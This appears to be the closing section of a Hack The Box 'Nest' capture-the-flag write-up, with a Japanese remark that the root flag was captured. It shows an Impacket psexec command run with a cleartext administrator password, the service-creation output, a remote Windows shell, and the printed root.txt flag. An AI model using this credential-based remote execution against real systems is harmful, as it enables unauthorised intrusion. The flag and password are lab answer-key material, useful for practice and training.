
rlwrap /usr/share/doc/python3-impacket/examples/psexec.py administrator:XtH4nkS4Pl4y1nGX@nest.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on nest.htb.....
[*] Found writable share ADMIN$
[*] Uploading file cBNKVgTl.exe
[*] Opening SVCManager on nest.htb.....
[*] Creating service qfXc on nest.htb.....
[*] Starting service qfXc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

ルートのフラッグが取れました。

C:\Users\Administrator\Desktop> type root.txt
81b9ed25a9f45fbbdd2ad82d329f9189

Discussion